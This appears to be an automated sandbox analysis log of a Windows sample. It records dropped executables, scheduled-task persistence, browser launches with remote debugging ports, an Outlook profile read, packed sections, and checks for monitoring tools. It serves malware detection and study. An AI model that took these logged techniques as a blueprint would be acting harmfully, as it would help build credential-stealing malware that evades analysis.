Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDHIEGIII.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2172,i,9379353750806782494,3710681808778928881,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2268,i,18147046930143251905,629712067082401529,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2200,i,4519856815945680510,4741741539002150674,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\HIDHIEGIII.exe "C:\Users\user\Documents\HIDHIEGIII.exe"	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1795584 > 1048576

Source: file.exe

Static PE information: Raw size of nxidxxjs is bigger than: 0x100000 < 0x19c200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.840000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nxidxxjs:EW;uucqkeof:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nxidxxjs:EW;uucqkeof:EW;.taggant:EW;
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Unpacked PE file: 14.2.HIDHIEGIII.exe.780000.0.unpack :EW;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cqhmklqr:EW;kzjbvhiv:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: HIDHIEGIII.exe.0.dr	Static PE information: real checksum: 0x31ca70 should be: 0x3242dc
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x31ca70 should be: 0x3242dc
Source: file.exe	Static PE information: real checksum: 0x1c0994 should be: 0x1c57b2
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x31ca70 should be: 0x3242dc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nxidxxjs
Source: file.exe	Static PE information: section name: uucqkeof
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name:
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name: .idata
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name: cqhmklqr
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name: kzjbvhiv
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: cqhmklqr
Source: random[1].exe.0.dr	Static PE information: section name: kzjbvhiv
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: cqhmklqr
Source: skotes.exe.14.dr	Static PE information: section name: kzjbvhiv
Source: skotes.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret	0_2_6C98B549
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_0079D91C push ecx; ret	14_2_0079D92F
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_00791359 push es; ret	14_2_0079135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007ED91C push ecx; ret	15_2_007ED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_007ED91C push ecx; ret	16_2_007ED92F

Source: file.exe	Static PE information: section name: nxidxxjs entropy: 7.952818503406039
Source: HIDHIEGIII.exe.0.dr	Static PE information: section name: entropy: 7.1666113988444975
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.1666113988444975
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.1666113988444975

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\HIDHIEGIII.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\HIDHIEGIII.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\HIDHIEGIII.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\HIDHIEGIII.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

